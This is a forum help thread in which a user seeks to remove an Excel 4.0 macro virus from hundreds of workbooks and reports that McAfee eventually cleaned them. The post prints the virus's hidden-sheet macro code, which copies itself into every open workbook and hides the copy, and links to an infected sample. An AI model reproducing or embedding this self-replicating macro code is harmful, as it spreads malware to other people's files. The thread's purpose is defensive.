Solved

help me to kill a macro in excel files

Posted on 2006-11-19
11
1,059 Views
Last Modified: 2008-01-09
I have some very important excel files and they are infected with a macro that make me into trouble. I try to use some anti virus programs but it's not help me. Some programs do not know the macro and other killed my files.

Please help me to kill the virus with out effect my files, I have about 800 excel files


My file has only some text but its size so big, and it has a hidden sheet with the following code

*** Khoi dau ***            *** Dong lai ***            *** Doan macro sao chep ***      TRUE      ~        
ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)      BID FORM 2.xls      BID FORM 2.xls
=ECHO(FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;FALSE)            =FOR("_Count",1,COLUMNS(DOCUMENTS()))            
=SET.VALUE($G$2,GET.DOCUMENT(88))            =RUN($E$2)            =SET.VALUE($F$1,FALSE)            
=WORKBOOK.HIDE($G$1,FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;TRUE)            =SET.VALUE($F$2,"")            
=SAVE.COPY.AS("LuuNgay" & TEXT(TODAY(),"dd-mm-yyyy") & GET.DOCUMENT(88))                        =SET.VALUE($F$3,"")            
=ON.SHEET(,"Auto_Close")                                    
                        BookName=INDEX(DOCUMENTS(),_Count)            
                        =SET.VALUE($F$2,BookName)            
                        =FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName)))            
*** Virus nay chep sao luu file bi nhiem                        SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count)            
vao thu muc hien hanh voi ten LuuNgay                        =IF(SheetName="["&BookName & "]" &$G$1)            
va ngay duoc luu                        =SET.VALUE($F$1,TRUE)            
*** Day la virus co loi                        =END.IF()            
*** Ta rat ghet nhung virus pha hoai                        =NEXT()            
nguoi khac                                    
                        =IF($F$1=FALSE)
                        =WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName)
                        =WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE)
            =RETURN()            =END.IF()
=RETURN()                        =NEXT()
                        =RETURN()


Here is a sample file

_http://rapidshare.com/files/4074328/BID_FORM_2.rar

Thanks so much
0
Comment
Question by:tamyeu
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
11 Comments
 
LVL 17

Expert Comment

by:Dushan De Silva
ID: 17976981
In Excel We can allow to run only signed trusted Macros.

Tools --> Macro --> Security --> Select "High"


BR Dushan
0
 

Author Comment

by:tamyeu
ID: 17977063
If i do so i can not open the my file.

My request is that clean the macro and make the file smaller.

Please help me.
0
 
LVL 6

Expert Comment

by:sr1xxon
ID: 17977969
try this.. should alleviate most problems with your macros.

http://www.appspro.com/Utilities/CodeCleaner.htm

HTH.
0
U.S. Department of Agriculture and Acronis Access

With the new era of mobile computing, smartphones and tablets, wireless communications and cloud services, the USDA sought to take advantage of a mobilized workforce and the blurring lines between personal and corporate computing resources.

 

Author Comment

by:tamyeu
ID: 17978064
Maybe it's not the answer, because its code is written in old fomat not VBA, the code is writen on the sheet of the files, you can download my sample

I tried the Codecleaner but it could not help.

Thanks for your answer, please help me.

0
 

Expert Comment

by:Beringhs
ID: 17978110
Hi.
Can't you open your file with the shift key pressed? That way no auto_open macro will run, and you should be able to unhide and kill the XL4 macro sheet.

Hope this helps.

Vincent
0
 

Author Comment

by:tamyeu
ID: 17984522
I tried to do so but  it made the file error further more  it's difficult for me do it manually because i have over 800 excel files.

error message here
http://img218.imageshack.us/img218/8250/untitledkh1.png

Help me, help me please
0
 

Author Comment

by:tamyeu
ID: 17984764
Ok, the answer is Mcafee, thanks all for help
0
 
LVL 6

Expert Comment

by:sr1xxon
ID: 17985777
tamyeu, can you answer the following pls

what was the virus?
did mcafee successfully remove all instances of it?
were you using any antivirus beforehand - was it using up-to-date definitions?



0
 

Author Comment

by:tamyeu
ID: 17993004
The virus name is X97F/Yagnuul.gen
yes, Mcafee removed successfully
before using Mcafee i used Bitdefender, kaspersky, Nod32, BKV... some programs did not know the virus and other do not know anything. Finally i used Mcafee 2007 trial version and it's successful
0
 
LVL 1

Accepted Solution

by:
Computer101 earned 0 total points
ID: 18222723
PAQed with points refunded (500)

Computer101
EE Admin
0

Featured Post

Webinar June 1st - Attacking Ransomware  

The global cyberattack that corrupted hundreds of thousands of computer systems on May 12th had a face, name, & price tag that we’ve seen all too often in recent years: Ransomware. With the stakes – and costs – of a ransomware attack higher than ever, is your business prepared ?

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Most MSPs worth their salt are already offering cybersecurity to their customers. But cybersecurity as a service is wide encompassing and can mean many things.  So where are MSPs falling in this spectrum?
There's a lot of hype surrounding blockchain technology. Here's how it works and some of the novel ways it' s now being used - including for data protection.
Sending a Secure fax is easy with eFax Corporate (http://www.enterprise.efax.com). First, Just open a new email message.  In the To field, type your recipient's fax number @efaxsend.com. You can even send a secure international fax — just include t…
The Email Laundry PDF encryption service allows companies to send confidential encrypted  emails to anybody. The PDF document can also contain attachments that are embedded in the encrypted PDF. The password is randomly generated by The Email Laundr…

732 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question